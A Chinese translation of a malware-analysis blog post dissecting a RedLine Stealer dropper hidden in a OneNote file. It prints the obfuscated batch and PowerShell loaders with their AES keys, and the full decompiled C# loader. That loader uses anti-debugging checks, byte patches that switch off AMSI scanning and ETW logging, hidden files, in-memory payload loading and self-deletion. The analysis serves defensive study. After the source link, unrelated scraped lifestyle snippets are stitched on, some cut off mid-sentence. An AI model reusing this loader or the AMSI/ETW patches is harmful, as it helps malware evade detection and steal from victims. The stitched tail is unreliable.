RedLineStealerDropper
一个有趣的示例,其中包含许多不同的混淆技术。在本文中,我们将详细分析。
SHA256: 0B93B5287841CEF2C6B2F2C3221C59FFD61BF772CD0D8B2BDAB9DADEB570C7A6
我们遇到的第一个文件是 OneNote 文档。如果安装了"OneNote 格式"包,则会自动提取所有文件。
在提取的文件中,有两个未识别的文件只是Windows批处理脚本。
我们将数据转换为文本(Ctrl+R ->转换/字节到文本)。
批处理脚本的代码经过模糊处理。 @echo off set "sMFb=set " %sMFb%"UFbRmjLRRG=1." %sMFb%"UwPAONnVOa=co" %sMFb%"COdAYzdUBF=ll" %sMFb%"ToDPGEsHPu= C" %sMFb%"StQVmXXdbu=Po" %sMFb%"ueTVKWMlnO=we" %sMFb%"GTAKfFaJew="%~0." %sMFb%"bgIMqeWlgi=in" %sMFb%"sRkmhFTZTk=nd" :: gpUJGV0UmogBpXJpjNr6mswTbRMbSjLzaCIgHlG36VZdfdnkweRkrCB1uF/LvTqM9wtzIUPivhAwiHEHBFv19iFB57OFRRGSiNnMUZlTORojmHEW7KARYxcA etc.
因此,我们使用"简单批处理模拟器"包来模拟代码。
模拟器会打印出未模拟的命令。
unsupported command: copy C:WindowsSystem32WindowsPowerShellv1.0powershell.exe /y "%~0.exe" unsupported command: cd "%~dp0" unsupported command: "%~nx0.exe" -noprofile -windowstyle hidden -ep bypass -command $mcWPL = [System.IO.File]::("txeTllAdaeR"[-1..-11] -join "")("%~f0").Split([Environment]::NewLine);foreach ($jBqHb in $mcWPL) { if ($jBqHb.StartsWith(":: ")) { $qUflk = $jBqHb.Substring(3); break; }; };$AKzOG = [System.Convert]::("gnirtS46esaBmorF"[-1..-16] -join "")($qUflk);$GTqqO = New-Object System.Security.Cryptography.AesManaged;$GTqqO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$GTqqO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$GTqqO.Key = [System.Convert]::("gnirtS46esaBmorF"[-1..-16] -join "")("rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4=");$GTqqO.IV = [System.Convert]::("gnirtS46esaBmorF"[-1..-16] -join "")("JYh62EWEKCuIH7WrUJ0VdA==");$QTfFw = $GTqqO.CreateDecryptor();$AKzOG = $QTfFw.TransformFinalBlock($AKzOG, 0, $AKzOG.Length);$QTfFw.Dispose();$GTqqO.Dispose();$xVFCH = New-Object System.IO.MemoryStream(, $AKzOG);$qGLhv = New-Object System.IO.MemoryStream;$wRtOX = New-Object System.IO.Compression.GZipStream($xVFCH, [IO.Compression.CompressionMode]::Decompress);$wRtOX.CopyTo($qGLhv);$wRtOX.Dispose();$xVFCH.Dispose();$qGLhv.Dispose();$AKzOG = $qGLhv.ToArray();$VBqqY = [System.Reflection.Assembly]::("daoL"[-1..-4] -join "")($AKzOG);$ReoQh = $VBqqY.EntryPoint;$ReoQh.Invoke($null, (, [string[]] ("%*"))) unsupported command: (goto) 2>nul & del "%~f0" unsupported command: exit /b
我们打开一个新的文本视图并粘贴PowerShell代码。
由于PowerShell代码被混淆,我们使用"PowerShell Beautifier"包对其进行去混淆。
我们不需要变量替换,因此我们取消选中该选项。
PowerShell 美化器不仅对代码进行去混淆处理,而且还为所有变量分配有意义的名称。
代码现在很容易理解。$read_all_text_result = [System.IO.File]::ReadAllText("%~f0").Split([Environment]::NewLine); foreach ($item in $read_all_text_result) { if ($item.StartsWith(":: ")) { $substring_result = $item.Substring(3); break; }; }; $from_base64_string_result = [System.Convert]::FromBase64String($substring_result); $aes_managed = New-Object System.Security.Cryptography.AesManaged; $aes_managed.Mode = [System.Security.Cryptography.CipherMode]::CBC; $aes_managed.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7; $aes_managed.Key = [System.Convert]::FromBase64String("rYCDvAfAeZYTmiLeZKnw0z4us9jgkCckB7mS60qxxg4="); $aes_managed.IV = [System.Convert]::FromBase64String("JYh62EWEKCuIH7WrUJ0VdA=="); $create_decryptor_result = $aes_managed.CreateDecryptor(); $transform_final_block_result = $create_decryptor_result.TransformFinalBlock($from_base64_string_result, 0, $from_base64_string_result.Length); $create_decryptor_result.Dispose(); $aes_managed.Dispose(); $memory_stream = New-Object System.IO.MemoryStream(, $transform_final_block_result); $memory_stream_2 = New-Object System.IO.MemoryStream; $gzip_stream = New-Object System.IO.Compression.GZipStream($memory_stream, [IO.Compression.CompressionMode]::Decompress); $gzip_stream.CopyTo($memory_stream_2); $gzip_stream.Dispose(); $memory_stream.Dispose(); $memory_stream_2.Dispose(); $to_array_result = $memory_stream_2.ToArray(); $load_result = [System.Reflection.Assembly]::Load($to_array_result); $entry_point = $load_result.EntryPoint; $entry_point.Invoke($null, (, [string[]]"%*"))
PowerShell 代码在批处理脚本的输出中搜索以"::"开头的行。然后从 base64 转换该行,使用 AES CBC 对其进行解密,使用 GZip 解压缩解密的数据,最后将解压缩的数据作为 .NET 程序集加载。
所以我们选择 base64 行跳过 ":: "。
我们将 base64 转换为字节。
我们检索 AES 的密钥和 IV,将它们从 base64 转换为十六进制(在十六进制视图中复制 -> 十六进制)。
并使用密钥长度为 32 的"decrypt/aes"过滤器解密数据。
然后,我们选择所有解密的数据,打开上下文菜单并单击"使选择成为根文件"以将新的根文件添加到当前项目中。在格式对话框中,我们选择 GZip 格式 (GZ)。
解压缩的文件是一个可执行文件,其中包含另一个称为"payload.exe"的文件。此文件由 Cerbero Suite 从 .NET 清单资源中自动提取。但是,它不被识别为可执行文件,因此我们猜测它可能已加密。
我们可以探索 .NET 程序集的 MSIL 代码,但作为反编译的 C# 代码会更容易阅读。
因此,我们将解压缩的可执行文件保存到磁盘并使用ILSpy打开它。
以下是完整的反编译 C# 代码。// ZZQPHWIYvADFZjHmvZKI.iyxRPGYRPkXbdjnyAvJD using System; using System.Diagnostics; using System.IO; using System.IO.Compression; using System.Reflection; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using System.Threading; using ZZQPHWIYvADFZjHmvZKI; internal class iyxRPGYRPkXbdjnyAvJD { private delegate bool IgOkpazAMCNVDtrLruZu(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); private delegate bool irjkliDHCvdlsAXDyoyk(IntPtr hProcess, ref bool isDebuggerPresent); private delegate bool JSxdYaZcqUtDBTLqWEYh(); [DllImport("kernel32.dll")] private static extern IntPtr LoadLibrary(string lpFileName); [DllImport("kernel32.dll")] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); private static void Main(string[] args) { string fileName = Process.GetCurrentProcess().MainModule.FileName; File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System); IntPtr hModule = LoadLibrary("kernel32.dll"); IntPtr procAddress = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); IntPtr procAddress2 = GetProcAddress(hModule, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); irjkliDHCvdlsAXDyoyk irjkliDHCvdlsAXDyoyk = (irjkliDHCvdlsAXDyoyk)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(irjkliDHCvdlsAXDyoyk)); JSxdYaZcqUtDBTLqWEYh jSxdYaZcqUtDBTLqWEYh = (JSxdYaZcqUtDBTLqWEYh)Marshal.GetDelegateForFunctionPointer(procAddress2, typeof(JSxdYaZcqUtDBTLqWEYh)); bool isDebuggerPresent = false; irjkliDHCvdlsAXDyoyk(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); if (Debugger.IsAttached || isDebuggerPresent || jSxdYaZcqUtDBTLqWEYh()) { Environment.Exit(1); } IntPtr procAddress3 = GetProcAddress(hModule, "VirtualProtect"); IgOkpazAMCNVDtrLruZu igOkpazAMCNVDtrLruZu = (IgOkpazAMCNVDtrLruZu)Marshal.GetDelegateForFunctionPointer(procAddress3, typeof(IgOkpazAMCNVDtrLruZu)); IntPtr hModule2 = LoadLibrary("amsi.dll"); IntPtr procAddress4 = GetProcAddress(hModule2, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("X6S4bPdO9bEc5JMhytQ97Q=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); byte[] array = (IntPtr.Size != 8) ? new byte[8] { 184, 87, 0, 7, 128, 194, 24, 0 } : new byte[6] { 184, 87, 0, 7, 128, 195 }; igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect); Marshal.Copy(array, 0, procAddress4, array.Length); igOkpazAMCNVDtrLruZu(procAddress4, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect); IntPtr hModule3 = LoadLibrary("ntdll.dll"); IntPtr procAddress5 = GetProcAddress(hModule3, Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("aFO2dVfMnsC2dX4t3isGdg=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); array = ((IntPtr.Size != 8) ? new byte[3] { 194, 20, 0 } : new byte[1] { 195 }); igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect); Marshal.Copy(array, 0, procAddress5, array.Length); igOkpazAMCNVDtrLruZu(procAddress5, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect); string @string = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("eqU9WF/Q2uAyFap3vw7P9g=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); string string2 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("ljEUT0uNy4Ar6FNzp9ikiQ=="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); Assembly executingAssembly = Assembly.GetExecutingAssembly(); string[] manifestResourceNames = executingAssembly.GetManifestResourceNames(); foreach (string name in manifestResourceNames) { if (!(name == @string) && !(name == string2)) { File.WriteAllBytes(name, KnzOkitkGMWCwIFLYBnU(name)); File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System); new Thread((ThreadStart)delegate { Process.Start(name).WaitForExit(); File.SetAttributes(name, FileAttributes.Normal); File.Delete(name); }).Start(); } } byte[] rawAssembly = YRjkDCBPWiLZphgbMGuF(ChLRwkWLsbZOITDACYZb(KnzOkitkGMWCwIFLYBnU(@string), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); string[] array2 = new string[0]; try { array2 = args[0].Split(" "); } catch { } MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint; try { entryPoint.Invoke(null, new object[1] { array2 }); } catch { entryPoint.Invoke(null, null); } string string3 = Encoding.UTF8.GetString(ChLRwkWLsbZOITDACYZb(Convert.FromBase64String("yAq19rHi1jH5tbR+S4wvn2NMVvFuTfunmXwbSR/7Oj2vsk/HNr6wT2qCxgIuIt+u"), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.Arguments = string3 + fileName + "" & del "" + fileName + """; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; processStartInfo.CreateNoWindow = true; processStartInfo.FileName = "cmd.exe"; Process.Start(processStartInfo); } private static byte[] ChLRwkWLsbZOITDACYZb(byte[] input, byte[] key, byte[] iv) { AesManaged aesManaged = new AesManaged(); aesManaged.Mode = CipherMode.CBC; aesManaged.Padding = PaddingMode.PKCS7; ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv); byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length); cryptoTransform.Dispose(); aesManaged.Dispose(); return result; } private static byte[] YRjkDCBPWiLZphgbMGuF(byte[] bytes) { MemoryStream memoryStream = new MemoryStream(bytes); MemoryStream memoryStream2 = new MemoryStream(); GZipStream gZipStream = new GZipStream(memoryStream, CompressionMode.Decompress); gZipStream.CopyTo(memoryStream2); gZipStream.Dispose(); memoryStream2.Dispose(); memoryStream.Dispose(); return memoryStream2.ToArray(); } private static byte[] KnzOkitkGMWCwIFLYBnU(string name) { Assembly executingAssembly = Assembly.GetExecutingAssembly(); MemoryStream memoryStream = new MemoryStream(); Stream manifestResourceStream = executingAssembly.GetManifestResourceStream(name); manifestResourceStream.CopyTo(memoryStream); manifestResourceStream.Dispose(); byte[] result = memoryStream.ToArray(); memoryStream.Dispose(); return result; } }
我们逐步分析代码,同时删除模糊字符串并重命名变量。
首先,代码设置当前进程可执行文件的"系统"和"隐藏"属性。string fileName = Process.GetCurrentProcess().MainModule.FileName; File.SetAttributes(fileName, FileAttributes.Hidden | FileAttributes.System);
然后,它获取 Kernel32.dll 中两个函数的地址。IntPtr hKernel32Module = LoadLibrary("kernel32.dll"); IntPtr procAddress = GetProcAddress(hKernel32Module, Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("YQgFvvCfeXEC8HheSQY8WDxO7rae/P5TDpc2pfcZrJY="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g==")))); IntPtr procAddress2 = GetProcAddress(hKernel32Module, Encoding.UTF8.GetString(decrypt(Convert.FromBase64String("uD0v0KJTSmiUKuZwt4dI86fKfKAnuIufPRaFWJOP5Es="), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))));
解密功能如下:private static byte[] decrypt(byte[] input, byte[] key, byte[] iv) { AesManaged aesManaged = new AesManaged(); aesManaged.Mode = CipherMode.CBC; aesManaged.Padding = PaddingMode.PKCS7; ICryptoTransform cryptoTransform = aesManaged.CreateDecryptor(key, iv); byte[] result = cryptoTransform.TransformFinalBlock(input, 0, input.Length); cryptoTransform.Dispose(); aesManaged.Dispose(); return result; }
我们可以用之前使用的相同方法解密字符串,但我们编写了一个小脚本作为动作执行(Ctrl+Alt+R):from Pro.Core import * from Pro.UI import * import base64, binascii v = proContext().getCurrentView() if v.isValid() and v.hasSelection(): s = v.getSelectedText() i_start = s.find(""") + 1 i_end = s.find(""", i_start) inp = base64.b64decode(s[i_start:i_end]) k_start = s.find(""", i_end+1) + 1 k_end = s.find(""", k_start) key = base64.b64decode(s[k_start:k_end]) iv_start = s.find(""", k_end+1) + 1 iv_end = s.find(""", iv_start) iv = base64.b64decode(s[iv_start:iv_end]) flts = "" % (binascii.hexlify(iv).decode("ascii"), binascii.hexlify(key).decode("ascii")) c = NTContainer() c.setData(inp) c = applyFilters(c, flts) print(c.read(0, c.size()).decode("utf-8")) c = None
如果我们在解密函数中选择文本内容并运行代码,它会打印出解密的字符串。
解密两个字符串后,代码将变为:IntPtr addressCheckRemoteDebuggerPresent = GetProcAddress(hKernel32Module, "CheckRemoteDebuggerPresent"); IntPtr addresssIsDebuggerPresent = GetProcAddress(hKernel32Module, "IsDebuggerPresent");
然后,它为这两个 API 创建委托:DelegateCheckRemoteDebuggerPresent delegateCheckRemoteDebuggerPresent = (DelegateCheckRemoteDebuggerPresent)Marshal.GetDelegateForFunctionPointer( addressCheckRemoteDebuggerPresent, typeof(DelegateCheckRemoteDebuggerPresent)); DelegateIsDebuggerPresent delegateIsDebuggerPresent = (DelegateIsDebuggerPresent)Marshal.GetDelegateForFunctionPointer(IsDebuggerPresent, typeof(DelegateIsDebuggerPresent));
它以各种方式检查是否存在调试器。如果检测到一个,它将退出。bool isDebuggerPresent = false; delegateCheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent); if (Debugger.IsAttached || isDebuggerPresent || delegateIsDebuggerPresent()) { Environment.Exit(1); }
它获取VirtualProtect的地址并为其创建一个委托:IntPtr addressVirtualProtect = GetProcAddress(hKernel32Module, "VirtualProtect"); DelegateVirtualProtect delegateVirtualProtect = (DelegateVirtualProtect)Marshal.GetDelegateForFunctionPointer(addressVirtualProtect, typeof(DelegateVirtualProtect));
它在amsi.dll中获取AmsiScanBuffer的地址。AmsiScanBuffer API 用于扫描恶意软件。IntPtr hAmsiModule = LoadLibrary("amsi.dll"); IntPtr addressAmsiScanBuffer = GetProcAddress(hAmsiModule, "AmsiScanBuffer");
它根据平台是 32 位还是 64 位(基于指针大小)创建不同类型的数组。byte[] array = (IntPtr.Size != 8) ? new byte[8] { 184, 87, 0, 7, 128, 194, 24, 0 } : new byte[6] { 184, 87, 0, 7, 128, 195 };
它使用数组来修补 AmsiScanBuffer API 的开头。// sets the memory access to PAGE_EXECUTE_READWRITE delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, 64u, out uint lpflOldProtect); // patches Marshal.Copy(array, 0, addressAmsiScanBuffer, array.Length); // restores the original memory access delegateVirtualProtect(addressAmsiScanBuffer, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
如果我们想知道修补的字节是什么意思,我们可以简单地将它们复制到文本视图,将它们转换为字节并使用两个过滤器:convert/from_array(使用默认参数)和 disasm/x86。
用于修补 AmsiScanBuffer 的 x86 指令包括:mov eax, 0x80070057 ret 0x18
AmsiScanBuffer 返回一个 HRESULT 值,0x80070057 代表 E_INVALIDARG。因此,恶意软件会修补 API 以返回错误。
然后,它使用相同的方法在ntdll中修补EtwEventWrite.dll。IntPtr hNTDllModule = LoadLibrary("ntdll.dll"); IntPtr addressEtwEventWrite = GetProcAddress(hNTDllModule, "EtwEventWrite"); array = ((IntPtr.Size != 8) ? new byte[3] { 194, 20, 0 } : new byte[1] { 195 }); delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, 64u, out lpflOldProtect); Marshal.Copy(array, 0, addressEtwEventWrite, array.Length); delegateVirtualProtect(addressEtwEventWrite, (UIntPtr)(ulong)array.Length, lpflOldProtect, out lpflOldProtect);
这次只需一个简单的 ret 指令即可进行修补。ret 0x14
然后,它会遍历 .NET 程序集的所有清单资源,如果它们的名称与"payload.exe"或"runpe.dll"不匹配,则会将它们转储到磁盘并执行它们。string payload_name = "payload.exe"; string runpedll_name = "runpe.dll"; Assembly executingAssembly = Assembly.GetExecutingAssembly(); string[] manifestResourceNames = executingAssembly.GetManifestResourceNames(); foreach (string name in manifestResourceNames) { if (!(name == payload_name) && !(name == runpedll_name)) { File.WriteAllBytes(name, getManifestResourceData(name)); File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System); new Thread((ThreadStart)delegate { Process.Start(name).WaitForExit(); File.SetAttributes(name, FileAttributes.Normal); File.Delete(name); }).Start(); } }
在我们的例子中,唯一的清单资源是"payload.exe"。所以这段代码不会做任何事情。
然后,代码解密和解压缩"payload.exe",并使用传递给 Main 的参数运行它。byte[] rawAssembly = decompressGZip(decrypt(getManifestResourceData(payload_name), Convert.FromBase64String("tM63l4QFPdXzYK8ykmIcAxhApY2gw5d5pTKI8zAd+as="), Convert.FromBase64String("rGS8SVxgHjYvALAnkoQ+/g=="))); string[] array2 = new string[0]; try { array2 = args[0].Split(" "); } catch { } MethodInfo entryPoint = Assembly.Load(rawAssembly).EntryPoint; try { entryPoint.Invoke(null, new object[1] { array2 }); } catch { entryPoint.Invoke(null, null); }
我们解密"有效载荷.exe"。
并再次创建一个具有GZip格式的新根文件。
在这一点上,我们进入了最后阶段。
加载器的最后一部分仅使用"cmd.exe"来执行"payload.exe"。string cmd = "/c choice /c y /n /d y /t 1 & attrib -h -s ""; ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.Arguments = cmd + fileName + "" & del "" + fileName + """; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; processStartInfo.CreateNoWindow = true; processStartInfo.FileName = "cmd.exe"; Process.Start(processStartInfo);
最后阶段已经被扫描引擎识别为"红线窃取者"。
为了彻底起见,我们还从第二个批处理脚本中提取了有效负载。最后阶段的有效载荷似乎是相同的。
有趣的是,这个样本还没有提交给VirusTotal,这次检测恶意软件的扫描引擎减少了10个,尽管类名和代码是相同的。
翻译自:https://blog.cerbero.io/?p=2542
华山论道学会做减法人生在不断做加法,但忙碌的一生,是否是真正想要的?一直做加法的人生,就是最好的吗?俗话说鱼与熊掌,不可兼得,有的时候,舍弃一些东西,反而可以拥有,更好的事物,更自如的人生。学会做减
人生大事到底是什么事1人死了以后,儿女情长爱恨情愁名利富贵等生前最宝贵的东西都如云烟,什么也不知道。外婆去世前,她肯定想不到自己的女儿还活着,她肯定为儿子的窝囊命而叹息,她更担心外孙女的生活。2人生就
转乌关键,百搭透白色料解析有很多纹绣师会纠结透白色料代谢的问题,所以最后我再聊一下关于百搭透白这款色料到底如何使用。第一个问题透白后期到底能不能代谢?首先,我们要了解白色的色料性质,市面上常见的白色色料基本
入秋后吃肉不如吃它,用来包饺子,鲜美营养高,不懂吃可惜了导语入秋后吃肉不如吃它,搭配豆腐这样做,筋道爽滑营养高,太好吃了饺子现已成为日常生活中不可缺少的食品之一。放在以前,只有在春节或是其他重要的节日才会吃饺子,所以饺子一直被称为节日佳
48岁王艳近照曝光,毛衣上千手表百万,身处阳台欣赏故宫秋景近日,48岁的王艳在短视频上发了一则视频,她写道风里已经有秋天的味道了。王艳的视频里,分享了自家的阳台,她站在阳台上就能看到故宫秋景,除了看到故宫之外,还能看到斜对面有一处遗址,可
她是真的很会穿!款式简约休闲,颜色温柔俏丽,值得借鉴嗨,我是小美。最近爱上了一位小姐姐的穿搭,她主打时尚轻熟风格,款式简约中带着休闲的味道,颜色搭配也温柔俏丽,看上去又时尚又很有女人味,很值得我们借鉴和学习。请输入描述初秋百褶裙是轻
中年女人穿秋装,4种假时髦,真土气颜色要避开,会影响气质色彩是服装打扮当中的灵魂所在,往往懂得打扮的女人,也知道如何去挑选服装单品的色彩,从而穿出更加高级显气色的效果。尤其是在浪漫的秋季,中年女人在穿秋装的时候选择配色要格外慎重,选择正
会打扮的女人都爱丝巾,精选五大丝巾搭配,提升质感与气质一条柔软轻盈的丝巾,它可以做发饰,可以做衣服,可以做配饰,尤其是在这种夏末初秋的换季时期,不仅对搭配起到画龙点睛的作用,还能凹造型,凸显气质彰显穿搭品味,让你每天都美得不一样!很多
一入秋血糖就升高?试试这些方法入秋以来血糖升高,是不是正常现象?应该注意什么?图源摄图网来源云鹊医最近,有些糖友表示,入秋以来血糖升高,是不是正常现象?严格意义上讲,糖尿病患者的血糖波动与季节更替没有特别必然的
大屏质感全都要!中国移动NZONE50Pro评测NZONE大家有听过吗,是中国移动面向Z世代人群打造的全新的终端品牌,推出的多款5G手机,不但外观潮美,更有科技范儿十足的内涵。下面我们就来了解一下这款手机究竟有何特殊之处。外观设
你必须长期坚持的20条生活好习惯1坚持锻炼!坚持锻炼!坚持锻炼!!重要的事情说三遍,身体是革命的本钱。关于健康犹太人有一句谚语保持身体健康的目的,是使你获得智慧。因为无论想要生活中取得怎样的胜利,其首要条件就是得